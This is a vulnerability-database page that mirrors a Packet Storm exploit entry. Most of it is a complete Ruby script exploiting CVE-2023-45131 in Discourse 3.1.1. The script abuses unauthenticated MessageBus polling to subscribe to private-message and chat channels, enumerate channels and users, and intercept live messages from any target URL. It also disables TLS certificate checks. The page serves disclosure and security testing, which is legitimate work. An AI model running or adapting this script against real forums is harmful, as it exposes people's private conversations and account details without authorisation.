Lucene search
K

๐Ÿ“„ Discourse 3.1.1 Unauthenticated Chat Message Access

๐Ÿ—“๏ธย 22 Jul 2025ย 00:00:00Reported byย IbrahimsqlTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 73ย Views

Unauthenticated access to Discourse can reveal chat and private messages (CVE-2023-45131).

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2023-45131
17 Oct 202302:32
โ€“circl
CNNVD
Discourse Information Disclosure Vulnerability
16 Oct 202300:00
โ€“cnnvd
CVE
CVE-2023-45131
16 Oct 202321:24
โ€“cve
Cvelist
CVE-2023-45131 Unauthenticated access to new private chat messages in Discourse
16 Oct 202321:24
โ€“cvelist
Exploit DB
Discourse 3.1.1 - Unauthenticated Chat Message Access
22 Jul 202500:00
โ€“exploitdb
EUVD
EUVD-2023-49450
3 Oct 202520:07
โ€“euvd
NVD
CVE-2023-45131
16 Oct 202322:15
โ€“nvd
OpenVAS
Discourse 3.1.x <= 3.1.1, 3.2.0.beta1 Unauthorized Access Vulnerability
23 Oct 202300:00
โ€“openvas
OSV
BIT-2023-45131
20 Oct 202306:16
โ€“osv
OSV
BIT-DISCOURSE-2023-45131 Unauthenticated access to new private chat messages in Discourse
6 Mar 202410:53
โ€“osv
Rows per page
#!/usr/bin/env ruby
    # Title : Discourse 3.1.1 - Unauthenticated Chat Message Access
    # CVE-2023-45131
    # CVSS: 7.5 (High)
    # Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2
    # Author ibrahimsql @ https://twitter.com/ibrahmsql
    # Date: 2023-12-14
    
    require 'net/http'
    require 'uri'
    require 'json'
    require 'openssl'
    require 'base64'
    
    class CVE202345131
      def initialize(target_url)
        @target_url = target_url.chomp('/')
        @results = []
        @message_bus_client_id = nil
        @csrf_token = nil
      end
    
      def run_exploit
        puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access"
        puts "[*] Target: #{@target_url}"
        puts "[*] CVSS Score: 7.5 (High)"
        puts "[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n"
    
        # Test MessageBus access
        test_messagebus_access
        test_chat_channel_enumeration
        test_private_message_access
        test_real_time_monitoring
        test_message_history_access
        test_user_enumeration_via_chat
    
        generate_report
        @results
      end
    
      private
    
      def test_messagebus_access
        puts "[*] Testing MessageBus unauthenticated access..."
        
        begin
          # Get MessageBus client ID
          uri = URI("#{@target_url}/message-bus/poll")
          
          response = make_request(uri, 'GET')
          
          if response && response.code == '200'
            begin
              data = JSON.parse(response.body)
              if data.is_a?(Array) && !data.empty?
                @message_bus_client_id = extract_client_id(response)
                
                @results << {
                  vulnerability: "MessageBus Access",
                  severity: "High",
                  description: "Unauthenticated access to MessageBus endpoint confirmed",
                  impact: "Can monitor real-time messages and notifications",
                  client_id: @message_bus_client_id
                }
                puts "[+] MessageBus access confirmed - Client ID: #{@message_bus_client_id}"
                return true
              end
            rescue JSON::ParserError
              # Try alternative endpoints
              test_alternative_messagebus_endpoints
            end
          end
        rescue => e
          puts "[!] Error testing MessageBus access: #{e.message}"
        end
        
        false
      end
    
      def test_alternative_messagebus_endpoints
        puts "[*] Testing alternative MessageBus endpoints..."
        
        endpoints = [
          "/message-bus/poll",
          "/message-bus/subscribe",
          "/message-bus/diagnostics",
          "/message-bus/long-poll"
        ]
    
        endpoints.each do |endpoint|
          begin
            uri = URI("#{@target_url}#{endpoint}")
            response = make_request(uri, 'GET')
            
            if response && response.code == '200'
              if response.body.include?('message-bus') || response.body.include?('clientId')
                @results << {
                  vulnerability: "Alternative MessageBus Endpoint",
                  severity: "Medium",
                  endpoint: endpoint,
                  description: "Alternative MessageBus endpoint accessible",
                  impact: "Potential message monitoring capability"
                }
                puts "[+] Alternative endpoint accessible: #{endpoint}"
              end
            end
          rescue => e
            puts "[!] Error testing endpoint #{endpoint}: #{e.message}"
          end
        end
      end
    
      def test_chat_channel_enumeration
        puts "[*] Testing chat channel enumeration..."
        
        return unless @message_bus_client_id
        
        begin
          # Try to enumerate chat channels
          uri = URI("#{@target_url}/message-bus/poll")
          
          # Subscribe to chat channels
          data = {
            '/chat/new-messages' => -1,
            '/chat/channel-status' => -1,
            '/chat/user-tracking' => -1,
            'clientId' => @message_bus_client_id
          }
          
          response = make_request(uri, 'POST', data)
          
          if response && response.code == '200'
            begin
              messages = JSON.parse(response.body)
              
              if messages.is_a?(Array) && !messages.empty?
                chat_channels = extract_chat_channels(messages)
                
                if !chat_channels.empty?
                  @results << {
                    vulnerability: "Chat Channel Enumeration",
                    severity: "High",
                    channels: chat_channels,
                    description: "Enumerated accessible chat channels",
                    impact: "Can identify active chat channels and participants"
                  }
                  puts "[+] Chat channels enumerated: #{chat_channels.join(', ')}"
                end
              end
            rescue JSON::ParserError => e
              puts "[!] Error parsing chat channel response: #{e.message}"
            end
          end
        rescue => e
          puts "[!] Error enumerating chat channels: #{e.message}"
        end
      end
    
      def test_private_message_access
        puts "[*] Testing private message access..."
        
        return unless @message_bus_client_id
        
        begin
          # Try to access private messages
          uri = URI("#{@target_url}/message-bus/poll")
          
          # Subscribe to private message channels
          data = {
            '/private-messages' => -1,
            '/chat/private' => -1,
            '/notification' => -1,
            'clientId' => @message_bus_client_id
          }
          
          response = make_request(uri, 'POST', data)
          
          if response && response.code == '200'
            begin
              messages = JSON.parse(response.body)
              
              if messages.is_a?(Array)
                private_messages = extract_private_messages(messages)
                
                if !private_messages.empty?
                  @results << {
                    vulnerability: "Private Message Access",
                    severity: "Critical",
                    messages: private_messages,
                    description: "Accessed private chat messages without authentication",
                    impact: "Complete breach of private communication confidentiality"
                  }
                  puts "[+] Private messages accessed: #{private_messages.length} messages found"
                  
                  # Log sample messages (redacted)
                  private_messages.first(3).each_with_index do |msg, idx|
                    puts "    [#{idx + 1}] #{redact_message(msg)}"
                  end
                end
              end
            rescue JSON::ParserError => e
              puts "[!] Error parsing private message response: #{e.message}"
            end
          end
        rescue => e
          puts "[!] Error accessing private messages: #{e.message}"
        end
      end
    
      def test_real_time_monitoring
        puts "[*] Testing real-time message monitoring..."
        
        return unless @message_bus_client_id
        
        begin
          puts "[*] Monitoring for 10 seconds..."
          
          start_time = Time.now
          monitored_messages = []
          
          while (Time.now - start_time) < 10
            uri = URI("#{@target_url}/message-bus/poll")
            
            data = {
              '/chat/new-messages' => 0,
              'clientId' => @message_bus_client_id
            }
            
            response = make_request(uri, 'POST', data)
            
            if response && response.code == '200'
              begin
                messages = JSON.parse(response.body)
                
                if messages.is_a?(Array) && !messages.empty?
                  new_messages = extract_new_messages(messages)
                  monitored_messages.concat(new_messages)
                end
              rescue JSON::ParserError
                # Continue monitoring
              end
            end
            
            sleep(1)
          end
          
          if !monitored_messages.empty?
            @results << {
              vulnerability: "Real-time Message Monitoring",
              severity: "High",
              messages_count: monitored_messages.length,
              description: "Successfully monitored real-time chat messages",
              impact: "Can intercept live communications"
            }
            puts "[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted"
          else
            puts "[-] No real-time messages detected during monitoring period"
          end
        rescue => e
          puts "[!] Error during real-time monitoring: #{e.message}"
        end
      end
    
      def test_message_history_access
        puts "[*] Testing message history access..."
        
        begin
          # Try to access message history through various endpoints
          history_endpoints = [
            "/chat/api/channels",
            "/chat/api/messages",
            "/chat/history",
            "/api/chat/channels.json"
          ]
          
          history_endpoints.each do |endpoint|
            uri = URI("#{@target_url}#{endpoint}")
            response = make_request(uri, 'GET')
            
            if response && response.code == '200'
              begin
                data = JSON.parse(response.body)
                
                if data.is_a?(Hash) && (data['messages'] || data['channels'] || data['chat'])
                  @results << {
                    vulnerability: "Message History Access",
                    severity: "High",
                    endpoint: endpoint,
                    description: "Accessed chat message history without authentication",
                    impact: "Historical chat data exposure"
                  }
                  puts "[+] Message history accessible via: #{endpoint}"
                end
              rescue JSON::ParserError
                # Check for HTML responses that might contain chat data
                if response.body.include?('chat') && response.body.include?('message')
                  @results << {
                    vulnerability: "Message History Exposure",
                    severity: "Medium",
                    endpoint: endpoint,
                    description: "Chat-related content found in response",
                    impact: "Potential information disclosure"
                  }
                  puts "[+] Chat-related content found in: #{endpoint}"
                end
              end
            end
          end
        rescue => e
          puts "[!] Error testing message history access: #{e.message}"
        end
      end
    
      def test_user_enumeration_via_chat
        puts "[*] Testing user enumeration via chat features..."
        
        begin
          # Try to enumerate users through chat-related endpoints
          user_endpoints = [
            "/chat/api/users",
            "/chat/users.json",
            "/api/chat/users",
            "/chat/members"
          ]
          
          user_endpoints.each do |endpoint|
            uri = URI("#{@target_url}#{endpoint}")
            response = make_request(uri, 'GET')
            
            if response && response.code == '200'
              begin
                data = JSON.parse(response.body)
                
                if data.is_a?(Hash) && (data['users'] || data['members'])
                  users = extract_users_from_chat(data)
                  
                  if !users.empty?
                    @results << {
                      vulnerability: "User Enumeration via Chat",
                      severity: "Medium",
                      endpoint: endpoint,
                      users_count: users.length,
                      sample_users: users.first(5),
                      description: "Enumerated chat users without authentication",
                      impact: "User information disclosure"
                    }
                    puts "[+] Users enumerated via #{endpoint}: #{users.length} users found"
                  end
                end
              rescue JSON::ParserError
                # Continue with next endpoint
              end
            end
          end
        rescue => e
          puts "[!] Error testing user enumeration: #{e.message}"
        end
      end
    
      def extract_client_id(response)
        # Extract client ID from response headers or body
        if response['X-MessageBus-Client-Id']
          return response['X-MessageBus-Client-Id']
        end
        
        # Try to extract from response body
        begin
          data = JSON.parse(response.body)
          if data.is_a?(Hash) && data['clientId']
            return data['clientId']
          end
        rescue JSON::ParserError
        end
        
        # Generate a random client ID
        SecureRandom.hex(16)
      end
    
      def extract_chat_channels(messages)
        channels = []
        
        messages.each do |message|
          if message.is_a?(Hash)
            if message['channel'] && message['channel'].include?('/chat/')
              channels << message['channel']
            elsif message['data'] && message['data'].is_a?(Hash)
              if message['data']['channel_id']
                channels << "Channel #{message['data']['channel_id']}"
              end
            end
          end
        end
        
        channels.uniq
      end
    
      def extract_private_messages(messages)
        private_msgs = []
        
        messages.each do |message|
          if message.is_a?(Hash)
            if message['channel'] && (message['channel'].include?('/private') || message['channel'].include?('/chat/private'))
              private_msgs << {
                channel: message['channel'],
                data: message['data'],
                timestamp: message['timestamp'] || Time.now.to_i
              }
            elsif message['data'] && message['data'].is_a?(Hash)
              if message['data']['message'] || message['data']['content']
                private_msgs << {
                  content: message['data']['message'] || message['data']['content'],
                  user: message['data']['user'] || message['data']['username'],
                  timestamp: message['data']['timestamp'] || Time.now.to_i
                }
              end
            end
          end
        end
        
        private_msgs
      end
    
      def extract_new_messages(messages)
        new_msgs = []
        
        messages.each do |message|
          if message.is_a?(Hash) && message['data']
            new_msgs << {
              channel: message['channel'],
              data: message['data'],
              timestamp: Time.now.to_i
            }
          end
        end
        
        new_msgs
      end
    
      def extract_users_from_chat(data)
        users = []
        
        if data['users'] && data['users'].is_a?(Array)
          data['users'].each do |user|
            if user.is_a?(Hash)
              users << {
                username: user['username'],
                id: user['id'],
                name: user['name']
              }
            end
          end
        elsif data['members'] && data['members'].is_a?(Array)
          data['members'].each do |member|
            if member.is_a?(Hash)
              users << {
                username: member['username'] || member['user'],
                id: member['id'] || member['user_id']
              }
            end
          end
        end
        
        users
      end
    
      def redact_message(message)
        if message.is_a?(Hash)
          content = message[:content] || message['content'] || message[:data] || 'N/A'
          user = message[:user] || message['user'] || 'Unknown'
          "User: #{user}, Content: #{content.to_s[0..50]}..."
        else
          message.to_s[0..50] + "..."
        end
      end
    
      def make_request(uri, method = 'GET', data = nil, headers = {})
        begin
          http = Net::HTTP.new(uri.host, uri.port)
          http.use_ssl = (uri.scheme == 'https')
          http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
          http.read_timeout = 10
          http.open_timeout = 10
    
          request = case method.upcase
                    when 'GET'
                      Net::HTTP::Get.new(uri.request_uri)
                    when 'POST'
                      req = Net::HTTP::Post.new(uri.request_uri)
                      if data
                        if data.is_a?(Hash)
                          req.set_form_data(data)
                        else
                          req.body = data
                          req['Content-Type'] = 'application/json'
                        end
                      end
                      req
                    end
    
          # Set headers
          request['User-Agent'] = 'Mozilla/5.0 (compatible; DiscourseMap/2.0)'
          request['Accept'] = 'application/json, text/javascript, */*; q=0.01'
          request['X-Requested-With'] = 'XMLHttpRequest'
          headers.each { |key, value| request[key] = value }
    
          response = http.request(request)
          return response
        rescue => e
          puts "[!] Request failed: #{e.message}"
          return nil
        end
      end
    
      def generate_report
        puts "\n" + "="*60
        puts "CVE-2023-45131 Exploitation Report"
        puts "="*60
        puts "Target: #{@target_url}"
        puts "Vulnerabilities Found: #{@results.length}"
        
        if @results.empty?
          puts "[+] No chat message access vulnerabilities detected"
        else
          puts "\n[!] VULNERABILITIES DETECTED:"
          @results.each_with_index do |result, index|
            puts "\n#{index + 1}. #{result[:vulnerability]}"
            puts "   Severity: #{result[:severity]}"
            puts "   Description: #{result[:description]}"
            puts "   Impact: #{result[:impact]}"
            
            if result[:messages_count]
              puts "   Messages Found: #{result[:messages_count]}"
            end
            if result[:channels]
              puts "   Channels: #{result[:channels].join(', ')}"
            end
            if result[:endpoint]
              puts "   Endpoint: #{result[:endpoint]}"
            end
          end
          
          puts "\n[!] REMEDIATION:"
          puts "1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later"
          puts "2. Implement proper authentication for MessageBus endpoints"
          puts "3. Review and restrict access to chat-related APIs"
          puts "4. Monitor MessageBus access logs for suspicious activity"
          puts "5. Consider disabling chat features if not required"
        end
        
        puts "\n" + "="*60
      end
    end
    
    # Run the exploit if called directly
    if __FILE__ == $0
      if ARGV.length != 1
        puts "Usage: ruby #{$0} <target_url>"
        puts "Example: ruby #{$0} https://discourse.example.com"
        exit 1
      end
    
      target_url = ARGV[0]
      exploit = CVE202345131.new(target_url)
      exploit.run_exploit
    end

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jul 2025 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.17.5
EPSS0.07392
SSVC
73